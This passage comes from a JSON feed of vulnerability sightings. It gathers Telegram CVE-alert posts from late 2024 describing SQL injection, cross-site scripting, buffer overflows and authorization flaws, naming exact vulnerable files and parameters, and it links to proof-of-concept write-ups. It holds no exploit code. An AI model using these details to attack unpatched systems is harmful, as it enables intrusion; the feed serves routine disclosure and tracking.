such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T16:11:53.000000Z"}, {"uuid": "d7ef95ee-aefd-4a07-8b3d-aed0485d2975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12228", "type": "seen", "source": "https://t.me/cvedetector/12104", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12228 - A vulnerability classified as critical has been fo\", \n  \"Content\": \"CVE ID : CVE-2024-12228 \nPublished : Dec. 5, 2024, 2:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in PHPGurukul Complaint Management System 1.0. Affected is an unknown function of the file /admin/user-search.php. The manipulation of the argument search leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T16:11:51.000000Z"}, {"uuid": "6268c060-e09e-4330-ae55-168f109909a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://t.me/cvedetector/11910", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12053 - Type Confusion in V8 in Google Chrome prior to 131\", \n  \"Content\": \"CVE ID : CVE-2024-12053 \nPublished : Dec. 3, 2024, 7:15 p.m. | 21\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 131.0.6778.108 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T20:40:58.000000Z"}, {"uuid": "d4790876-4bc4-4113-941b-0dee37f99434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12185", "type": "seen", "source": "https://t.me/cvedetector/12049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12185 - A vulnerability has been found in code-projects Ho\", \n  \"Content\": \"CVE ID : CVE-2024-12185 \nPublished : Dec. 5, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Hotel Management System 1.0 and classified as problematic. This vulnerability affects unknown code of the component Administrator Login Password Handler. The manipulation of the argument Str2 leads to stack-based buffer overflow. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:58:13.000000Z"}, {"uuid": "e3c30450-8498-4ed5-ad72-55a9aca2390b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12186", "type": "seen", "source": "https://t.me/cvedetector/12043", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12186 - A vulnerability was found in code-projects Hotel M\", \n  \"Content\": \"CVE ID : CVE-2024-12186 \nPublished : Dec. 5, 2024, 12:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Hotel Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file hotelnew.c of the component Available Room Handler. The manipulation of the argument admin_entry leads to stack-based buffer overflow. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:58:06.000000Z"}, {"uuid": "352b8464-e54e-4eb4-aa03-a90fe2d42cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12182", "type": "seen", "source": "https://t.me/cvedetector/12041", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12182 - A vulnerability, which was classified as problemat\", \n  \"Content\": \"CVE ID : CVE-2024-12182 \nPublished : Dec. 4, 2024, 11:15 p.m. | 37\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in DedeCMS 5.7.116. Affected by this issue is some unknown functionality of the file /member/soft_add.php. The manipulation of the argument body leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:07:58.000000Z"}, {"uuid": "4546445b-6409-44d4-8110-3f96e9e654c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12183", "type": "seen", "source": "https://t.me/cvedetector/12039", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12183 - A vulnerability, which was classified as problemat\", \n  \"Content\": \"CVE ID : CVE-2024-12183 \nPublished : Dec. 4, 2024, 11:15 p.m. | 37\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in DedeCMS 5.7.116. This affects the function RemoveXSS of the file /plus/carbuyaction.php of the component HTTP POST Request Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:07:57.000000Z"}, {"uuid": "432e7620-39e2-44e0-a275-f0e22b61bf09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12180", "type": "seen", "source": "https://t.me/cvedetector/12037", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12180 - A vulnerability classified as problematic has been\", \n  \"Content\": \"CVE ID : CVE-2024-12180 \nPublished : Dec. 4, 2024, 10:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in DedeCMS 5.7.116. Affected is an unknown function of the file /member/article_add.php. The manipulation of the argument body leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T00:17:47.000000Z"}, {"uuid": "aabf780b-764f-4dfd-b570-7da73dcdb3a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12196", "type": "seen", "source": "https://t.me/cvedetector/12021", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12196 - Incorrect authorization in the permission componen\", \n  \"Content\": \"CVE ID : CVE-2024-12196 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect authorization in the permission component in Devolutions Server 2024.3.7.0 and earlier allows an authenticated user to view the password history of an entry without the view password permission. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:39.000000Z"}, {"uuid": "6bc8c9c8-2453-4a6b-a7ca-b5a6a3dd0890", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12151", "type": "seen", "source": "https://t.me/cvedetector/12024", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12151 - Incorrect permission assignment in the user migrat\", \n  \"Content\": \"CVE ID : CVE-2024-12151 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect permission assignment in the user migration feature in Devolutions Server 2024.3.8.0 and earlier allows users to retain their old permission sets. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:41.000000Z"}, {"uuid": "e14c7f78-3b89-426e-b3a8-73e624814efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12149", "type": "seen", "source": "https://t.me/cvedetector/12023", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12149 - Incorrect permission assignment in temporary acces\", \n  \"Content\": \"CVE ID : CVE-2024-12149 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect permission assignment in temporary access requests component in Devolutions Remote Desktop Manager 2024.3.19.0 and earlier on Windows allows an authenticated user that request temporary permissions on an entry to obtain more privileges than requested. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:40.000000Z"}, {"uuid": "f7e555ce-8505-484f-8f99-df76eaae6de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12148", "type": "seen", "source": "https://t.me/cvedetector/12022", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12148 - Incorrect authorization in permission validation c\", \n  \"Content\": \"CVE ID : CVE-2024-12148 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect authorization in permission validation component in Devolutions Server 2024.3.6.0 and earlier allows an authenticated user to access some reporting endpoints. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:39.000000Z"}, {"uuid": "96b2e24d-45ba-4464-b17f-71e393554cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12147", "type": "seen", "source": "https://t.me/cvedetector/12025", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12147 - A vulnerability was found in Netgear R6900 1.0.1.2\", \n  \"Content\": \"CVE ID : CVE-2024-12147 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : A vulnerability was found in Netgear R6900 1.0.1.26_1.0.20. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file upgrade_check.cgi of the component HTTP Header Handler. The manipulation of the argument Content-Length leads to buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:45.000000Z"}, {"uuid": "14f3f664-08d4-49ef-80a6-51f99ed710a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12056", "type": "seen", "source": "https://t.me/cvedetector/12009", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12056 - Apache OAuth Client Unauthorized Access Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12056 \nPublished : Dec. 4, 2024, 3:15 p.m. | 18\u00a0minutes ago \nDescription : The Client secret is not checked when using the OAuth Password grant type.  \n  \nBy exploiting this vulnerability, an attacker could connect to a web server using a client application not explicitly authorized as part of the OAuth deployment.  \nExploitation requires valid credentials and does not permit the attacker to bypass user privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T16:45:47.000000Z"}, {"uuid": "ca107210-b4a1-4ce9-9f79-0fbc7ea8b203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12138", "type": "seen", "source": "https://t.me/cvedetector/11991", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12138 - A vulnerability classified as critical was found i\", \n  \"Content\": \"CVE ID : CVE-2024-12138 \nPublished : Dec. 4, 2024, 2:15 p.m. | 31\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in horilla up to 1.2.1. This vulnerability affects the function request_new/get_employee_shift/create_reimbursement/key_result_current_value_update/create_meetings/create_skills. The manipulation leads to deserialization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T15:55:04.000000Z"}, {"uuid": "767e3e5e-32f5-481d-86a1-f86c4d78cda8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12107", "type": "seen", "source": "https://t.me/cvedetector/11973", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12107 - Double-Free Vulnerability in uD3TN BPv7 Caused by\", \n  \"Content\": \"CVE ID : CVE-2024-12107 \nPublished : Dec. 4, 2024, 11:15 a.m. | 1\u00a0hour, 8\u00a0minutes ago \nDescription : Double-Free Vulnerability in uD3TN BPv7 Caused by Malformed Endpoint Identifier allows remote attacker to reliably cause DoS \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T13:24:26.000000Z"}, {"uuid": "8888b1eb-72c8-4fc3-9386-267c94c65932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12123", "type": "seen", "source": "https://t.me/cvedetector/11948", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12123 - A hidden field manipulation vulnerability was iden\", \n  \"Content\": \"CVE ID : CVE-2024-12123 \nPublished : Dec. 4, 2024, 4:15 a.m. | 29\u00a0minutes ago \nDescription : A hidden field manipulation vulnerability was identified in Issuetrak version 17.1 that could be triggered by an authenticated user.\u00a0  \n  \nWhen an authenticated user submits a ticket, the request can be intercepted and subsequently modified by using a proxy.\u00a0 The ticket requester can be changed from the original requester to another user in the same application,   \nwhich the application then accepts. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T05:52:54.000000Z"}, {"uuid": "21970756-6667-4db0-b72e-77a209c66884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12099", "type": "seen", "source": "https://t.me/cvedetector/11947", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12099 - The Dollie Hub \u2013 Build Your Own WordPress Cloud Pl\", \n  \"Content\": \"CVE ID : CVE-2024-12099 \nPublished : Dec. 4, 2024, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The Dollie Hub \u2013 Build Your Own WordPress Cloud Platform plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 6.2.0 via the 'elementor-template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T05:52:53.000000Z"}, {"uuid": "558cabbc-4fdf-4671-8822-811a6fa07d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12062", "type": "seen", "source": "https://t.me/cvedetector/11877", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12062 - Elementor Charity Addon WordPress Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12062 \nPublished : Dec. 3, 2024, 10:15 a.m. | 1\u00a0hour ago \nDescription : The Charity Addon for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.3.2 via the 'nacharity_elementor_template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T12:19:19.000000Z"}, {"uuid": "39a6acd4-91eb-4852-9463-3d396ac8455c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12000", "type": "seen", "source": "https://t.me/cvedetector/11699", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12000 - A vulnerability was found in code-projects Blood B\", \n  \"Content\": \"CVE ID : CVE-2024-12000 \nPublished : Nov. 30, 2024, 12:15 p.m. | 8\u00a0hours, 57\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Blood Bank System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /controllers/updatesettings.php of the component Setting Handler. The manipulation of the argument firstname leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-30T22:25:58.000000Z"}, {"uuid": "5fc49076-7793-41f0-9ba5-bbfe4089368d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12007", "type": "seen", "source": "https://t.me/cvedetector/11732", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12007 - \"Farmacia Code-Projects SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12007 \nPublished : Dec. 1, 2024, 11:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Farmacia 1.0. This affects an unknown part of the file /visualizar-produto.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T01:11:24.000000Z"}, {"uuid": "1a2bce10-8a5d-4e6e-8364-b234036fe1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12002", "type": "seen", "source": "https://t.me/cvedetector/11698", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12002 - A vulnerability classified as problematic was foun\", \n  \"Content\": \"CVE ID : CVE-2024-12002 \nPublished : Nov. 30, 2024, 1:15 p.m. | 7\u00a0hours, 58\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in Tenda FH451, FH1201, FH1202 and FH1206 up to 20241129. Affected by this vulnerability is the function websReadEvent of the file /goform/GetIPTV. The manipulation of the argument Content-Length leads to null pointer dereference. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-30T22:25:57.000000Z"}, {"uuid": "fc9d9869-59ae-4d0d-b2e0-6b854cbe23ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12001", "type": "seen", "source": "https://t.me/cvedetector/11697", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12001 - A vulnerability classified as problematic has been\", \n  \"Content\": \"CVE ID : CVE-2024-12001 \nPublished : Nov. 30, 2024, 1:15 p.m. | 7\u00a0hours, 58\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in code-projects Wazifa System 1.0. Affected is an unknown function of the file /controllers/updatesettings.php of the component Setting Handler. The manipulation of the argument firstname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-30T22:25:56.000000Z"}, {"uuid": "d2587000-02a7-4437-8f5d-42e128b2394c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://t.me/cvedetector/12242", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12254 - Starting in Python 3.12.0, the asyncio._SelectorSo\", \n  \"Content\": \"CVE ID : CVE-2024-12254 \nPublished : Dec. 6, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : Starting in Python 3.12.0, the asyncio._SelectorSocketTransport.writelines()  \n method would not \"pause\" writing and signal to the Protocol to drain   \nthe buffer to the wire once the write buffer reached the \"high-water   \nmark\". Because of this, Protocols would not periodically drain the write  \n buffer potentially leading to memory exhaustion.  \n  \n  \n  \n  \n  \nThis  \n vulnerability likely impacts a small number of users, you must be using  \n Python 3.12.0 or later, on macOS or Linux, using the asyncio module   \nwith protocols, and using .writelines() method which had new   \nzero-copy-on-write behavior in Python 3.12.0 and later. If not all of   \nthese factors are true then your usage of Python is unaffected. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:08:03.000000Z"}, {"uuid": "c8372dfd-4c72-4609-9095-9e0974324308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2483", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:48.000000Z"}, {"uuid": "6401f4e4-a913-4a19-8af1-3555dff0dd9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2483", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:48.000000Z"}, {"uuid": "768481af-b630-4625-8d84-6d4f09758f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1240", "type": "seen", "source": "https://t.me/cvedetector/11057", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1240 - Pyload Open Redirection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-1240 \nPublished : Nov. 15, 2024, 11:15 a.m. | 36\u00a0minutes ago \nDescription : An open redirection vulnerability exists in pyload/pyload version 0.5.0. The vulnerability is due to improper handling of the 'next' parameter in the login functionality. An attacker can exploit this vulnerability to redirect users to malicious sites, which can be used for phishing or other malicious activities. The issue is fixed in pyload-ng 0.5.0b3.dev79. \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T13:15:29.000000Z"}, {"uuid": "e0f7d352-3de8-4a3e-a653-02dd367485e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2471", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "26586ba4-ed62-4348-bfce-3e46fc53212e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "Telegram/d3wapHx4e5UMaurKFu99a9rpgFA32RWvNf4YSo1Syv_vjw", "content": "", "creation_timestamp": "2024-12-31T20:05:48.000000Z"}, {"uuid": 